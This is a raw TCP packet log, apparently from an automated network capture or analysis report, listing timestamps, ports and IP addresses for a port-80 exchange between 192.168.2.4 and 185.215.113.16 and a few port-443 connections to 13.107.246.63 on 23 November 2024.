Nov 23, 2024 20:23:11.267987967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.268030882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.268083096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.268841028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.268893957 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.268929958 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.268980026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.269787073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.269841909 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.269855022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.269905090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.270612001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.270668030 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.270728111 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.270782948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.271502018 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.271569967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.271605968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.271656990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.272403002 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.272453070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.272552967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.272598982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.273309946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.273363113 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.273432970 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.273480892 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.274177074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.274226904 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.274288893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.274338007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.275080919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.275136948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.275194883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.275248051 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.276036024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.276089907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.276165962 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.276215076 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.276868105 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.276920080 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.276977062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.277019024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.277755022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.277806044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.277868032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.277918100 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.278647900 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.278696060 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.278768063 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.278815031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.279535055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.279584885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.279705048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.279752970 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.280433893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.280455112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.280479908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.280498028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.281327963 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.281378031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.281446934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.281501055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.282241106 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.282288074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.282356024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.282402992 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.283112049 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.283160925 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.283201933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.283247948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.283996105 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.284070015 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.284099102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.284146070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.284893990 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.284941912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.284997940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.285046101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.285798073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.285849094 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.285907030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.285953999 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.286673069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.286720991 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.286752939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.286803007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.287586927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.287636995 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.287694931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.287740946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.288453102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.288503885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.288628101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.288675070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.289359093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.289417028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.289455891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.289504051 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.290249109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.290297031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.290359974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.290410042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.291142941 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.291208982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.291239023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.291286945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.292027950 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.292085886 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.292121887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.292171001 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.292924881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.292978048 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.293009996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.293057919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.293812037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.293865919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.293932915 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.293978930 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.294704914 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.294797897 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.294806957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.294848919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.295598030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.295650959 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.295732975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.295784950 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.296613932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.296646118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.296667099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.296701908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.297398090 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.297450066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.297518015 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.297575951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.298289061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.298347950 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.298398972 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.298448086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.299179077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.299228907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.299262047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.299318075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.300076008 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.300133944 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.300189972 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.300241947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.300959110 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.301009893 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.301073074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.301124096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.301832914 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.301887035 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.301964998 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.302018881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.302740097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.302798986 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.302851915 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.302901983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.303637028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.303690910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.303728104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.303776979 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.402419090 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.402561903 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.402635098 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.402681112 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.402681112 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.402707100 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.402730942 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.404529095 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.404552937 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.404633999 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.404853106 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.404865026 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.435905933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.435956001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.436023951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.436359882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.436413050 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.436434031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.436476946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.437180042 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.437261105 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.437293053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.437336922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.438083887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.438148022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.438183069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.438229084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.438968897 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.439023972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.439065933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.439119101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.439872980 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.439930916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.439982891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.440073967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.440851927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.440916061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.441005945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.441056013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.455565929 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.455626011 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.455634117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.455673933 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.456015110 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.456072092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.456113100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.456168890 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.456866026 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.456928015 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.456938982 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.456989050 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.457782984 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.457866907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.457916021 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.457974911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.458669901 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.458725929 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.458801031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.458856106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.459611893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.459667921 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.459728956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.459800005 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.460586071 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.460645914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.460685968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.460751057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.461402893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.461455107 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.461473942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.461806059 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.462224007 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.462295055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.462323904 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.462348938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.463221073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.463294029 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.463321924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.463473082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.464010954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.464057922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.464101076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.464143038 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.464910030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.464967012 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.465027094 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.465089083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.465831995 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.465856075 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.465883970 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.465909958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.466782093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.466835022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.466850042 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.466897011 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.467578888 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.467626095 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.467714071 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.467757940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.468472958 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.468521118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.468602896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.468648911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.469372034 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.469438076 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.469456911 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.469502926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.470258951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.470305920 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.470374107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.470417023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.471160889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.471206903 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.471281052 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.471343994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.472039938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.472151995 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.472178936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.472239017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.472945929 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.472995996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.473089933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.473130941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.473890066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.473949909 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.473984957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.474026918 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.474724054 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.474778891 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.474847078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.474894047 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.475733995 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.475790024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.475965023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.476012945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.476941109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.476994991 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.477113962 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.477161884 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.478060961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.478125095 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.478298903 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.478343964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.479027987 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.479078054 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.479118109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.479160070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.479916096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.479967117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.480036020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.480078936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.480588913 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.480633974 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.480673075 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.480714083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.481302977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.481344938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.481384039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.481751919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.482028961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.482072115 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.482115030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.482153893 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.482763052 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.482810974 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.482830048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.482877016 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.483694077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.483737946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.483783960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.483833075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.484540939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.484594107 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.484661102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.484708071 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.485438108 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.485491991 CET	49760	80	192.168.2.4	185.215.113.16
